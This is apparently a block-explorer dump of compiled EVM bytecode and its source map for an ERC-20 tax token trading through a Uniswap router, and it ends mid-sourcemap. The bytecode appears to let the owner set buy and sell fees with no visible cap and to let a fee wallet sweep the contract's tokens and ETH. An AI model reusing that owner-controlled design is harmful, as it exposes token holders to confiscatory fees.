9d609a1b60448201526064016105ce565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa1580156107ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f29190611747565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610851573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108759190611747565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e39190611747565b600c8054610100600160a81b0319166101006001600160a01b0393841681029190911791829055900481165f908152600b6020908152604091829020805460ff19166001179055600a5482516315ab88c960e31b8152925193169263ad5c46489260048082019392918290030181865afa158015610963573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109879190611747565b600a5460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156109d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109fa9190611762565b50600a80546001600160a01b039081165f908152600860205260409020805460ff1916600117905590541663f305d7194730610a4a816001600160a01b03165f9081526001602052604090205490565b5f80610a5d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae8919061177d565b50504360165550565b5f546001600160a01b03163314610b1a5760405162461bcd60e51b81526004016105ce906116f5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606006805461050e906116bd565b5f546001600160a01b03163314610b9a5760405162461bcd60e51b81526004016105ce906116f5565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6003546001600160a01b03163314610bda575f80fd5b6003546040516370a0823160e01b81523060048201526001600160a01b038381169263a9059cbb9291169083906370a0823190602401602060405180830381865afa158015610c2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4f91906117a8565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303815f875af1158015610c97573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbb9190611762565b506003546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610cf2573d5f803e3d5ffd5b5050565b5f61059b338484610e7c565b5f546001600160a01b03163314610d2b5760405162461bcd60e51b81526004016105ce906116f5565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b5f546001600160a01b03163314610d825760405162461bcd60e51b81526004016105ce906116f5565b6001600160a01b038116610dc35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016105ce565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f9081526001602052604090205481811015610ed75760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b60448201526064016105ce565b600c5460ff1615610ef457610eed84848461109c565b5050505050565b6001600160a01b0383165f908152600b602052604081205460ff168015610f1e5750600c5460ff16155b8015610f4257506001600160a01b0385165f9081526008602052604090205460ff16155b8015610f6657506001600160a01b0384165f9081526008602052604090205460ff16155b8015610f755750601454600d54115b15610fb857305f908152600160205260409020548390811115610fa35750305f908152600160205260409020545b601554811115610fb657610fb68161114f565b505b6001600160a01b0385165f9081526008602052604090205460ff16158015610ff857506001600160a01b0384165f9081526008602052604090205460ff16155b80156110075750600c5460ff16155b15611090575f60165411611019575f80fd5b506001600160a01b0384165f908152600b602052604090205460019060ff1680156110525750600a546001600160a01b03858116911614155b801561107657506001600160a01b0384165f9081526008602052604090205460ff16155b1561109057600d8054905f61108a836117bf565b91905055505b610eed85858584611327565b6001600160a01b0383165f908152600160205260408120805483919083906110c5908490611734565b90915550506001600160a01b0383165f90815260016020526040812080548492906110f19084906117d7565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113d91815260200190565b60405180910390a35060019392505050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061118f5761118f6117ea565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120a9190611747565b8160018151811061121d5761121d6117ea565b6001600160a01b039283166020918202929092010152600a5460405163791ac94760e01b815291169063791ac947906112629085905f908690309042906004016117fe565b5f604051808303815f87803b158015611279575f80fd5b505af115801561128b573d5f803e3d5ffd5b504792505050662386f26fc10000811115611318576003546001600160a01b03166108fc6112ba600a8461186f565b6040518115909202915f818181858888f193505050501580156112df573d5f803e3d5ffd5b506004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015611316573d5f803e3d5ffd5b505b5050600c805460ff1916905550565b6001600160a01b0384165f9081526001602052604090205461134a908390611734565b6001600160a01b0385165f908152600160205260408120919091558115611485576001600160a01b0384165f908152600b602052604081205460ff16156113a957601354600d541161139e57600f546113a2565b6011545b90506113e3565b6001600160a01b0386165f908152600b602052604090205460ff16156113e357601254600d54116113dc57600e546113e0565b6010545b90505b5f60646113f0838761188e565b6113fa919061186f565b905080156114825761140c81846117d7565b305f908152600160205260409020549093506114299082906117d7565b305f81815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114799085815260200190565b60405180910390a35b50505b61148f8184611734565b6001600160a01b0385165f908152600160205260409020546114b191906117d7565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114fa8487611734565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b8181101561153e57858101830151858201604001528201611522565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611572575f80fd5b50565b5f8060408385031215611586575f80fd5b82356115918161155e565b946020939093013593505050565b5f805f606084860312156115b1575f80fd5b83356115bc8161155e565b925060208401356115cc8161155e565b929592945050506040919091013590565b5f602082840312156115ed575f80fd5b81356115f88161155e565b9392505050565b5f805f805f60a08688031215611613575f80fd5b505083359560208501359550604085013594606081013594506080013592509050565b5f60208284031215611646575f80fd5b5035919050565b8015158114611572575f80fd5b5f806040838503121561166b575f80fd5b82356116768161155e565b915060208301356116868161164d565b809150509250929050565b5f80604083850312156116a2575f80fd5b82356116ad8161155e565b915060208301356116868161155e565b600181811c908216806116d157607f821691505b6020821081036116ef57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561059f5761059f611720565b5f60208284031215611757575f80fd5b81516115f88161155e565b5f60208284031215611772575f80fd5b81516115f88161164d565b5f805f6060848603121561178f575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b8575f80fd5b5051919050565b5f600182016117d0576117d0611720565b5060010190565b8082018082111561059f5761059f611720565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561184e5784516001600160a01b031683529383019391830191600101611829565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261188957634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761059f5761059f61172056fea2646970667358221220dba7b6aa5ac4ea2df4edf910f74d399ea7e5c7cfbbb114b7730aeea74fe2503b64736f6c63430008170033
Deployed Bytecode Sourcemap
3075:8376:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4742:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5505:159;;;;;;;;;;-1:-1:-1;5505:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5505:159:0;1023:187:1;10376:78:0;;;;;;;;;;;;;:::i;:::-;;4946:100;;;;;;;;;;-1:-1:-1;5026:12:0;;4946:100;;;1361:25:1;;;1349:2;1334:18;4946:100:0;1215:177:1;5672:336:0;;;;;;;;;;-1:-1:-1;5672:336:0;;;;;:::i;:::-;;:::i;6468:26::-;;;;;;;;;;;;;;;;4844:94;;;;;;;;;;-1:-1:-1;4921:9:0;;4844:94;;4921:9;;;;2000:36:1;;1988:2;1973:18;4844:94:0;1858:184:1;3398:49:0;;;;;;;;;;-1:-1:-1;3398:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3532:44;;;;;;;;;;-1:-1:-1;3532:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6786:406;;;;;;;;;;-1:-1:-1;6786:406:0;;;;;:::i;:::-;;:::i;3658:27::-;;;;;;;;;;-1:-1:-1;3658:27:0;;;;;;;-1:-1:-1;;;;;3658:27:0;;;;;;-1:-1:-1;;;;;2922:32:1;;;2904:51;;2892:2;2877:18;3658:27:0;2758:203:1;9578:30:0;;;;;;;;;;;;;;;;7227:117;;;;;;;;;;-1:-1:-1;7227:117:0;;;;;:::i;:::-;;:::i;3489:36::-;;;;;;;;;;-1:-1:-1;3489:36:0;;;;-1:-1:-1;;;;;3489:36:0;;;9615:753;;;;;;;;;;;;;:::i;5054:119::-;;;;;;;;;;-1:-1:-1;5054:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5147:18:0;5120:7;5147:18;;;:9;:18;;;;;;;5054:119;2698:148;;;;;;;;;;;;;:::i;3244:26::-;;;;;;;;;;-1:-1:-1;3244:26:0;;;;-1:-1:-1;;;;;3244:26:0;;;2501:79;;;;;;;;;;-1:-1:-1;2539:7:0;2566:6;-1:-1:-1;;;;;2566:6:0;2501:79;;4636:98;;;;;;;;;;;;;:::i;11282:129::-;;;;;;;;;;-1:-1:-1;11282:129:0;;;;;:::i;:::-;;:::i;10462:217::-;;;;;;;;;;-1:-1:-1;10462:217:0;;;;;:::i;:::-;;:::i;5181:165::-;;;;;;;;;;-1:-1:-1;5181:165:0;;;;;:::i;:::-;;:::i;4466:162::-;;;;;;;;;;-1:-1:-1;4466:162:0;;;;;:::i;:::-;;:::i;5354:143::-;;;;;;;;;;-1:-1:-1;5354:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5462:18:0;;;5435:7;5462:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5354:143;2854:214;;;;;;;;;;-1:-1:-1;2854:214:0;;;;;:::i;:::-;;:::i;4742:94::-;4790:13;4823:5;4816:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4742:94;:::o;5505:159::-;5580:4;5597:37;5606:10;5618:7;5627:6;5597:8;:37::i;:::-;-1:-1:-1;5652:4:0;5505:159;;;;;:::o;10376:78::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;;;;;;;;;10445:1:::1;10427:15;:19:::0;10376:78::o;5672:336::-;5770:4;5787:36;5797:6;5805:9;5816:6;5787:9;:36::i;:::-;-1:-1:-1;;;;;5838:19:0;;3649:1;5838:19;;;:11;:19;;;;;;;;5858:10;5838:31;;;;;;;;-1:-1:-1;;5838:38:0;5834:145;;-1:-1:-1;;;;;5927:19:0;;;;;;:11;:19;;;;;;;;5947:10;5927:31;;;;;;;;:40;;5961:6;;5927:40;:::i;:::-;-1:-1:-1;;;;;5893:19:0;;;;;;:11;:19;;;;;;;;5913:10;5893:31;;;;;;;:74;5834:145;-1:-1:-1;5996:4:0;5672:336;;;;;:::o;6786:406::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;6993:12:::1;:21:::0;;;;7025:13:::1;:23:::0;;;;7059:15:::1;:30:::0;7100:16:::1;:32:::0;7143:18:::1;:41:::0;6786:406::o;7227:117::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;7313:12:::1;:23:::0;7227:117::o;9615:753::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;9673:15:::1;::::0;:20;9665:46:::1;;;::::0;-1:-1:-1;;;9665:46:0;;6115:2:1;9665:46:0::1;::::0;::::1;6097:21:1::0;6154:2;6134:18;;;6127:30;-1:-1:-1;;;6173:18:1;;;6166:43;6226:18;;9665:46:0::1;5913:337:1::0;9665:46:0::1;9722:14;:75:::0;;-1:-1:-1;;;;;;9722:75:0::1;9754:42;9722:75:::0;;::::1;::::0;;9828:4:::1;9722:14;9808:26:::0;;;:11:::1;:26;::::0;;;;;;;:51;;;;;;;;;;-1:-1:-1;;9808:57:0;;9907:14;;:24;;-1:-1:-1;;;9907:24:0;;;;-1:-1:-1;;;;;9907:14:0;;;::::1;::::0;:22:::1;::::0;:24:::1;::::0;;::::1;::::0;;;;;;;:14;:24:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9891:52:0::1;;9952:4;9959:14;;;;;;;;;-1:-1:-1::0;;;;;9959:14:0::1;-1:-1:-1::0;;;;;9959:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9891:90;::::0;-1:-1:-1;;;;;;9891:90:0::1;::::0;;;;;;-1:-1:-1;;;;;6741:15:1;;;9891:90:0::1;::::0;::::1;6723:34:1::0;6793:15;;6773:18;;;6766:43;6658:18;;9891:90:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9876:12;:105:::0;;-1:-1:-1;;;;;;9876:105:0::1;;-1:-1:-1::0;;;;;9876:105:0;;::::1;::::0;::::1;::::0;;;::::1;::::0;;;;10005:12;::::1;::::0;::::1;-1:-1:-1::0;9992:26:0;;;:12:::1;:26;::::0;;;;;;;;:33;;-1:-1:-1;;9992:33:0::1;-1:-1:-1::0;9992:33:0::1;::::0;;10043:14:::1;::::0;:21;;-1:-1:-1;;;10043:21:0;;;;:14;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;9992:26;10043:21;;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10090:14;::::0;10036:84:::1;::::0;-1:-1:-1;;;10036:84:0;;-1:-1:-1;;;;;10090:14:0;;::::1;10036:84;::::0;::::1;6994:51:1::0;-1:-1:-1;;7061:18:1;;;7054:34;10036:37:0;::::1;::::0;::::1;::::0;6967:18:1;;10036:84:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10157:14:0::1;::::0;;-1:-1:-1;;;;;10157:14:0;;::::1;10131:42;::::0;;;:17:::1;:42;::::0;;;;:49;;-1:-1:-1;;10131:49:0::1;10176:4;10131:49;::::0;;10191:14;;::::1;:30;10229:21;10260:4;10266:24;10260:4:::0;-1:-1:-1;;;;;5147:18:0;5120:7;5147:18;;;:9;:18;;;;;;;5054:119;10266:24:::1;10291:1;10293::::0;10295:7:::1;2539::::0;2566:6;-1:-1:-1;;;;;2566:6:0;;2501:79;10295:7:::1;10191:128;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10191:128:0;;;-1:-1:-1;;;;;7708:15:1;;;10191:128:0::1;::::0;::::1;7690:34:1::0;7740:18;;;7733:34;;;;7783:18;;;7776:34;;;;7826:18;;;7819:34;7890:15;;;7869:19;;;7862:44;10303:15:0::1;7922:19:1::0;;;7915:35;7624:19;;10191:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10348:12:0::1;10330:15;:30:::0;-1:-1:-1;9615:753:0:o;2698:148::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;2805:1:::1;2789:6:::0;;2768:40:::1;::::0;-1:-1:-1;;;;;2789:6:0;;::::1;::::0;2768:40:::1;::::0;2805:1;;2768:40:::1;2836:1;2819:19:::0;;-1:-1:-1;;;;;;2819:19:0::1;::::0;;2698:148::o;4636:98::-;4686:13;4719:7;4712:14;;;;;:::i;11282:129::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11369:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;11369:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11282:129::o;10462:217::-;10541:3;;-1:-1:-1;;;;;10541:3:0;10527:10;:17;10519:26;;;;;;10580:3;;10585:39;;-1:-1:-1;;;10585:39:0;;10618:4;10585:39;;;2904:51:1;-1:-1:-1;;;;;10556:23:0;;;;;;10580:3;;;10556:23;;10585:24;;2877:18:1;;10585:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10556:69;;-1:-1:-1;;;;;;10556:69:0;;;;;;;-1:-1:-1;;;;;7012:32:1;;;10556:69:0;;;6994:51:1;7061:18;;;7054:34;6967:18;;10556:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;10636:3:0;;:35;;-1:-1:-1;;;;;10636:3:0;;;;10649:21;10636:35;;;;;:3;:35;:3;:35;10649:21;10636:3;:35;;;;;;;;;;;;;;;;;;;;;10462:217;:::o;5181:165::-;5259:4;5276:40;5286:10;5298:9;5309:6;5276:9;:40::i;4466:162::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;4583:3:::1;:12:::0;;-1:-1:-1;;;;;4583:12:0;;::::1;-1:-1:-1::0;;;;;;4583:12:0;;::::1;;::::0;;;4606:4:::1;:14:::0;;;;;::::1;::::0;::::1;;::::0;;4466:162::o;2854:214::-;2628:6;;-1:-1:-1;;;;;2628:6:0;2638:10;2628:20;2620:50;;;;-1:-1:-1;;;2620:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2943:22:0;::::1;2935:43;;;::::0;-1:-1:-1;;;2935:43:0;;8950:2:1;2935:43:0::1;::::0;::::1;8932:21:1::0;8989:1;8969:18;;;8962:29;-1:-1:-1;;;9007:18:1;;;9000:38;9055:18;;2935:43:0::1;8748:331:1::0;2935:43:0::1;3015:6;::::0;;2994:38:::1;::::0;-1:-1:-1;;;;;2994:38:0;;::::1;::::0;3015:6;::::1;::::0;2994:38:::1;::::0;::::1;3043:6;:17:::0;;-1:-1:-1;;;;;;3043:17:0::1;-1:-1:-1::0;;;;;3043:17:0;;;::::1;::::0;;;::::1;::::0;;2854:214::o;6016:177::-;-1:-1:-1;;;;;6101:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6153:32;;1361:25:1;;;6153:32:0;;1334:18:1;6153:32:0;;;;;;;6016:177;;;:::o;7352:1177::-;-1:-1:-1;;;;;5147:18:0;;7466:15;5147:18;;;:9;:18;;;;;;7518:17;;;;7510:46;;;;-1:-1:-1;;;7510:46:0;;9286:2:1;7510:46:0;;;9268:21:1;9325:2;9305:18;;;9298:30;-1:-1:-1;;;9344:18:1;;;9337:46;9400:18;;7510:46:0;9084:340:1;7510:46:0;7573:6;;;;7569:91;;;7595:32;7610:4;7616:2;7620:6;7595:14;:32::i;:::-;;7642:7;7352:1177;;;:::o;7569:91::-;-1:-1:-1;;;;;7701:16:0;;7672:12;7701:16;;;:12;:16;;;;;;;;:27;;;;-1:-1:-1;7722:6:0;;;;7721:7;7701:27;:55;;;;-1:-1:-1;;;;;;7733:23:0;;;;;;:17;:23;;;;;;;;7732:24;7701:55;:81;;;;-1:-1:-1;;;;;;7761:21:0;;;;;;:17;:21;;;;;;;;7760:22;7701:81;:115;;;;;7798:18;;7786:9;;:30;7701:115;7697:424;;;7916:4;5120:7;5147:18;;;:9;:18;;;;;;7857:6;;7882:13;:40;7878:120;;;-1:-1:-1;7976:4:0;7958:24;;;;:9;:24;;;;;;7878:120;8032:12;;8016:13;:28;8012:98;;;8064:30;8080:13;8064:15;:30::i;:::-;7818:303;7697:424;-1:-1:-1;;;;;8138:23:0;;;;;;:17;:23;;;;;;;;8137:24;:50;;;;-1:-1:-1;;;;;;8166:21:0;;;;;;:17;:21;;;;;;;;8165:22;8137:50;:61;;;;-1:-1:-1;8192:6:0;;;;8191:7;8137:61;8133:335;;;8241:1;8223:15;;:19;8215:28;;;;;;-1:-1:-1;;;;;;8330:18:0;;;;;;:12;:18;;;;;;8268:4;;8330:18;;:51;;;;-1:-1:-1;8366:14:0;;-1:-1:-1;;;;;8352:29:0;;;8366:14;;8352:29;;8330:51;:77;;;;-1:-1:-1;;;;;;8386:21:0;;;;;;:17;:21;;;;;;;;8385:22;8330:77;8326:129;;;8428:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8326:129;8480:41;8495:4;8501:2;8505:6;8513:7;8480:14;:41::i;6201:259::-;-1:-1:-1;;;;;6311:17:0;;6294:4;6311:17;;;:9;:17;;;;;:27;;6332:6;;6311:17;6294:4;;6311:27;;6332:6;;6311:27;:::i;:::-;;;;-1:-1:-1;;;;;;;6349:20:0;;;;;;:9;:20;;;;;:30;;6373:6;;6349:20;:30;;6373:6;;6349:30;:::i;:::-;;;;;;;;6412:9;-1:-1:-1;;;;;6395:35:0;6404:6;-1:-1:-1;;;;;6395:35:0;;6423:6;6395:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6395:35:0;;;;;;;;-1:-1:-1;6448:4:0;6201:259;;;;;:::o;10687:587::-;3724:6;:13;;-1:-1:-1;;3724:13:0;3733:4;3724:13;;;10788:16:::1;::::0;;10802:1:::1;10788:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10788:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10788:16:0::1;10764:40;;10833:4;10815;10820:1;10815:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10815:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10859:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10859:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10815:7;;10859:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10849:4;10854:1;10849:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10849:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10891:14:::1;::::0;:195:::1;::::0;-1:-1:-1;;;10891:195:0;;:14;::::1;::::0;:65:::1;::::0;:195:::1;::::0;10971:11;;10891:14:::1;::::0;11013:4;;11040::::1;::::0;11060:15:::1;::::0;10891:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11114:21:0::1;::::0;-1:-1:-1;;;11157:10:0::1;11150:17:::0;::::1;11146:121;;;11183:3;::::0;-1:-1:-1;;;;;11183:3:0::1;:21;11196:7;11201:2;11196:4:::0;:7:::1;:::i;:::-;11183:21;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;11219:4:0::1;::::0;:36:::1;::::0;-1:-1:-1;;;;;11219:4:0;;::::1;::::0;11233:21:::1;11219:36:::0;::::1;;;::::0;:4:::1;:36:::0;:4;:36;11233:21;11219:4;:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11146:121;-1:-1:-1::0;;3760:6:0;:14;;-1:-1:-1;;3760:14:0;;;-1:-1:-1;10687:587:0:o;8537:1031::-;-1:-1:-1;;;;;8709:17:0;;;;;;:9;:17;;;;;;:27;;8729:7;;8709:27;:::i;:::-;-1:-1:-1;;;;;8689:17:0;;;;;;:9;:17;;;;;:47;;;;8777:638;;;;-1:-1:-1;;;;;8838:23:0;;8805:14;8838:23;;;:12;:23;;;;;;;;8834:270;;;8903:16;;8891:9;;:28;:62;;8938:15;;8891:62;;;8922:13;;8891:62;8882:71;;8834:270;;;-1:-1:-1;;;;;8979:20:0;;;;;;:12;:20;;;;;;;;8975:129;;;9041:15;;9029:9;;:27;:59;;9074:14;;9029:59;;;9059:12;;9029:59;9020:68;;8975:129;9118:18;9158:3;9139:16;9149:6;9139:7;:16;:::i;:::-;:22;;;;:::i;:::-;9118:43;-1:-1:-1;9180:14:0;;9176:228;;9215:23;9228:10;9215:23;;:::i;:::-;9302:4;9284:24;;;;:9;:24;;;;;;9215:23;;-1:-1:-1;9284:37:0;;9311:10;;9284:37;:::i;:::-;9275:4;9257:24;;;;:9;:24;;;;;;;:64;;;;9345:43;;-1:-1:-1;;;;;9345:43:0;;;;;;;9377:10;1361:25:1;;1349:2;1334:18;;1215:177;9345:43:0;;;;;;;;9176:228;8790:625;;8777:638;9474:19;9484:9;9474:7;:19;:::i;:::-;-1:-1:-1;;;;;9450:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;9427:20:0;;;;;;;:9;:20;;;;;:67;;;;9510:48;;;9538:19;9548:9;9538:7;:19;:::i;:::-;9510:48;;1361:25:1;;;1349:2;1334:18;9510:48:0;;;;;;;8678:890;8537:1031;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;:::-;2283:5;2047:247;-1:-1:-1;;;2047:247:1:o;2299:454::-;2394:6;2402;2410;2418;2426;2479:3;2467:9;2458:7;2454:23;2450:33;2447:53;;;2496:1;2493;2486:12;2447:53;-1:-1:-1;;2519:23:1;;;2589:2;2574:18;;2561:32;;-1:-1:-1;2640:2:1;2625:18;;2612:32;;2691:2;2676:18;;2663:32;;-1:-1:-1;2742:3:1;2727:19;2714:33;;-1:-1:-1;2299:454:1;-1:-1:-1;2299:454:1:o;2966:180::-;3025:6;3078:2;3066:9;3057:7;3053:23;3049:32;3046:52;;;3094:1;3091;3084:12;3046:52;-1:-1:-1;3117:23:1;;2966:180;-1:-1:-1;2966:180:1:o;3605:118::-;3691:5;3684:13;3677:21;3670:5;3667:32;3657:60;;3713:1;3710;3703:12;3728:382;3793:6;3801;3854:2;3842:9;3833:7;3829:23;3825:32;3822:52;;;3870:1;3867;3860:12;3822:52;3909:9;3896:23;3928:31;3953:5;3928:31;:::i;:::-;3978:5;-1:-1:-1;4035:2:1;4020:18;;4007:32;4048:30;4007:32;4048:30;:::i;:::-;4097:7;4087:17;;;3728:382;;;;;:::o;4115:404::-;4199:6;4207;4260:2;4248:9;4239:7;4235:23;4231:32;4228:52;;;4276:1;4273;4266:12;4228:52;4315:9;4302:23;4334:31;4359:5;4334:31;:::i;:::-;4384:5;-1:-1:-1;4441:2:1;